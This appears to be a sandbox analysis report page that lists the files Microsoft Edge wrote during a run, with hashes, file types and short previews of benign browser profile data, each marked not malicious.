SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\168ff65b-dbdc-40a4-bfd1-6297b0f10546.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.576245612824997
Encrypted:	false
SSDEEP:	768:sniaAOWP68fPm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVNZhH58Srw9pTtu1:sniaAOWP68fPmu1jakZhZ8XntG
MD5:	997A354195DD992BA868F4D3BA60E770
SHA1:	9B145F8B6A88B37FE22176AE4E4CF840E1944B76
SHA-256:	7B70F4D184E5A5B90B0905D57EE46360C99C9F39C36EBC68B2D12B7F0D6572C6
SHA-512:	20AD598EDB05133DB29D532384413DF0352AA7F7A84D1166C0B7B36566F36CFE843EA6D356AEDC4F4B38978397BDDEF6BBF4FB5A73CA66AD82250380E6F78147
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376134531205256","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376134531205256","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2638833a-6532-422b-b541-d646cca3b448.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\590e75d1-b77f-47cd-85ae-cf4064792d45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10144
Entropy (8bit):	5.119245482922909
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNP9kzBFZI8xbV+FbqQwYCHPSYJ:stQQOVszgtJ4bG+Qw3
MD5:	5A5C13452160DC3E4E0C0212CCAF4350
SHA1:	82CD29075180EC9EAFAB5029BBE9A6CC0C8D8B5E
SHA-256:	C14E3D1809DE2A406F46327D095C9440960E602EEBB5814892626282BB903A70
SHA-512:	20D50F83E349C6A9E164AC1E383F16751361DFDCF3E7C40DD2BC0ED4DD4AD901725B12663E5DABED1AB8AFAF374DC9BC2C726B3367E8E467D758888E2A7AD156
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5d97a539-8d45-4b05-a316-178a624a9a19.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14492), with no line terminators
Category:	dropped
Size (bytes):	14496
Entropy (8bit):	5.4905893496883404
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNPxbUckzkNwXPLKxcVCUZDhXI8xbV+FbqQwYCHPSYJ:stQQOVszgtJxgN+CVCUZdnbG+Qw3
MD5:	240C228CAAE0ECA469A3A2745928FDFB
SHA1:	66C096BEF754711FCBB2FAB842BCDA6CA40F68AD
SHA-256:	7B593C5BEAF1034AB1B5BEDDE8A6D464E4B35C3C0AD9A844171D7FEBDA2FF495
SHA-512:	B309961B939E9A1244B7E6BF4A5DC3109BC4342DD8DABC2CEE00C7087E900526A98BEEA0CACC6BA6BA0298D05BB0BDCD7C3C8DD7E3F33BB35365B98174577B2B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7780d0d2-934c-4200-b5b7-8c8178068d06.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8ed571f4-4834-4f60-a0c4-8b2cabc949a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30244
Entropy (8bit):	5.5654464263993075
Encrypted:	false
SSDEEP:	768:sniaea7pLGLpPOWP68fMm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVNZhH58Srw8XpTA:sniaeycpPOWP68fMmu1jakZhZ8XYty
MD5:	ACA0437D8931750D072B44E37510CD15
SHA1:	C4FB46AE4BD9068A1659A3AB59082965E8D02279
SHA-256:	D7375C3887D16AF0288A07FAE337F7034E23F9A7A2AD5C9F68900CB1E744295B
SHA-512:	AE8BC8C73B21A722731AE47C187894AC6B0CC7A612754164EA386D5509E716E711EFB28B1009D008BCCEC83CD628AD8C71CA69F679FD40FFDBDDF4FB492BD54B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376134531205256","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376134531205256","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.287350260986011
Encrypted:	false
SSDEEP:	6:HUHHjVZhq1cNwi23oH+Tcwtp3hBtB2KLlVUHHG+q2PcNwi23oH+Tcwtp3hBWsIF2:upZWZYebp3dFLWHvLZYebp3eFUv
MD5:	0FCA38E920A401BE4D0E432A126D8060
SHA1:	224CA440C3EA4622B8239C426848867C430EE40E
SHA-256:	48EC6F0C815A04DE254F26CAD23EB75D65BB3632C881EE29F20D6D1838B469D5
SHA-512:	A6BEF83D4FB2C6427DD197AF0DB6359CA2B157999E40AB458295857E864699F9EB965FD8111756A66BE36BD34C867C8957A652410D8F738E8653BDE3DE48A22C
Malicious:	false
Preview:	2024/11/15-03:55:36.673 2038 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/15-03:55:36.705 2038 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	13280
Entropy (8bit):	5.433679143555204
Encrypted:	false
SSDEEP:	192:MeA7NzzQdTCu960h80CZrOCVyQbrrPI3lqLmCcWdA2l2:jA7Z+60h80CZayrPI3lqSCcWG+2
MD5:	B9CA03928041D47E701C531142420CB5
SHA1:	D1246B5345836FBB47F33EB31778259CE17EDB74
SHA-256:	8CE76E8D4532F0C8FBDDC0C8FBE336FD0487E173E3F688877C0939C46B750702
SHA-512:	909128F14EBA2991B570CC9C5C56CBF6F2CCE140C777FBC8E03DBD1358259A4AF671D16E364E0918AD2865F01611B1BC82AA1CFEA3966011E7F41B4AE5D41944
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.164321104109684
Encrypted:	false
SSDEEP:	6:HUHHdMq2PcNwi23oH+Tcwt9Eh1tIFUt8YUHHRZmw+YUHH+kwOcNwi23oH+Tcwt9O:udMvLZYeb9Eh16FUt8lR/+l+54ZYeb9O
MD5:	7430CC346094D5B857D0AE9E439B3060
SHA1:	F5F3E5DDD14C45C2EA9532982518CD7924D2E798
SHA-256:	6E2D06F4933F35F5AB7020F41A78F6FDCBFA3FDB959040AEACC36F66349EDD71
SHA-512:	218BB7719198DDC4F57AB4B9FAA3E65DBCBAF3E809AE33070AA0CAB5E2733AA4015ECEA318C3412F970020EDF064E6246BA62C749756E0AE5AB78F091B142515
Malicious:	false
Preview:	2024/11/15-03:55:36.699 21e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/15-03:55:36.701 21e4 Recovering log #3.2024/11/15-03:55:36.704 21e4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.164321104109684
Encrypted:	false
SSDEEP:	6:HUHHdMq2PcNwi23oH+Tcwt9Eh1tIFUt8YUHHRZmw+YUHH+kwOcNwi23oH+Tcwt9O:udMvLZYeb9Eh16FUt8lR/+l+54ZYeb9O
MD5:	7430CC346094D5B857D0AE9E439B3060
SHA1:	F5F3E5DDD14C45C2EA9532982518CD7924D2E798
SHA-256:	6E2D06F4933F35F5AB7020F41A78F6FDCBFA3FDB959040AEACC36F66349EDD71
SHA-512:	218BB7719198DDC4F57AB4B9FAA3E65DBCBAF3E809AE33070AA0CAB5E2733AA4015ECEA318C3412F970020EDF064E6246BA62C749756E0AE5AB78F091B142515
Malicious:	false
Preview:	2024/11/15-03:55:36.699 21e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/15-03:55:36.701 21e4 Recovering log #3.2024/11/15-03:55:36.704 21e4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46175499104186785
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBux:TouQq3qh7z3bY2LNW9WMcUvBux
MD5:	8FA6CB3A1E63593DD1C003A8653910CD
SHA1:	8576AA42F09FEF2134F4E1D05305DA76E3649768
SHA-256:	357A3CC76B665DA2035FA5E80B6E87C4CA7FF8BD6610701CBA861EC0F8F9C9C2
SHA-512:	4C398F918B92DFA4552E31BF7C884ABC9EA29F09F0505AF248553C66ADBD8CA77147CFCC5E7262881AFB86CACA0A65A53BA1A94482C44A79A9AB235896B22D15
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.284780946906805
Encrypted:	false
SSDEEP:	6:HUHsBVq2PcNwi23oH+TcwtnG2tMsIFUt8YUHZgZmw+YUHZIkwOcNwi23oH+TcwtB:R7vLZYebn9GFUt8U/+U54ZYebn95J
MD5:	9395424D220D3E3169BDCBD6A954E898
SHA1:	459A866C10529BBEA3F5062FE0BE91994A25DD17
SHA-256:	DDFD2DABA7017416081F8F98DB2A4DA6BCF5EE3127CE572DEB96D64FDC8A7DD3
SHA-512:	1A2296DD7E87F5C02C7499460B4652911AF46D05A0E2ADE791DADCD6CDD0EE2539C0DDBE1DF11A38ADC169459D2B83FB5301AFCC76E9DB4F0684C76417029EC5
Malicious:	false
Preview:	2024/11/15-03:55:31.288 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/15-03:55:31.289 674 Recovering log #3.2024/11/15-03:55:31.289 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.284780946906805
Encrypted:	false
SSDEEP:	6:HUHsBVq2PcNwi23oH+TcwtnG2tMsIFUt8YUHZgZmw+YUHZIkwOcNwi23oH+TcwtB:R7vLZYebn9GFUt8U/+U54ZYebn95J
MD5:	9395424D220D3E3169BDCBD6A954E898
SHA1:	459A866C10529BBEA3F5062FE0BE91994A25DD17
SHA-256:	DDFD2DABA7017416081F8F98DB2A4DA6BCF5EE3127CE572DEB96D64FDC8A7DD3
SHA-512:	1A2296DD7E87F5C02C7499460B4652911AF46D05A0E2ADE791DADCD6CDD0EE2539C0DDBE1DF11A38ADC169459D2B83FB5301AFCC76E9DB4F0684C76417029EC5
Malicious:	false
Preview:	2024/11/15-03:55:31.288 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/15-03:55:31.289 674 Recovering log #3.2024/11/15-03:55:31.289 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354124055957395
Encrypted:	false
SSDEEP:	6144:8A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:8FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	0ED634B48CC5EEF19CFAB38D3D7370B5
SHA1:	743603DCD67E245A0076047C2864B96D0FDD8F88
SHA-256:	91EAA9048BF77C4D0BB68F18A36F8AA6C11FCAB81BE45675B6FB0FFF44E95499
SHA-512:	2D8F3B83D269555CACD2481C8C2ED240A11C25DB79675443208AB856D1CA5A28AB67E35D5B3DAFC73FFDA768E8449ED2C2DB1AC3587DC0640D4B309588458D4A
Malicious:	false
Preview:	...m.................DB_VERSION.1N...q...............&QUERY_TIMESTAMP:domains_config_gz2...13376134538142339..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.224263107591335
Encrypted:	false
SSDEEP:	6:HUHHHXAB1cNwi23oH+Tcwtk2WwnvB2KLlVUHH13+q2PcNwi23oH+Tcwtk2WwnvIg:umZYebkxwnvFLW4vLZYebkxwnQFUv
MD5:	1F9AE8701B0D20FBBD6404A9E872FB9F
SHA1:	D8523C42089B7EF47843B8D6C81EBCBCA13EA190
SHA-256:	70971E68177436EF705508F27733C583B6C4BD5EE20165E160921ECA2CFEFEBB
SHA-512:	1BC5D3BA751D4CB845A13B196386D9B3659E692CAA52D18EC7B528435EC8514CC63B2BF7C6C815642526B8C1931956DE420135A7C78DD003889381D7E077B318
Malicious:	false
Preview:	2024/11/15-03:55:36.768 2208 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/15-03:55:36.792 2208 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

